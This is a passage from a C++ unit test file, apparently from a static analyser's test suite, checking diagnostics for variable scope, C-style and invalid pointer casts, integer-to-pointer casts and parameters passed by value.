printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : 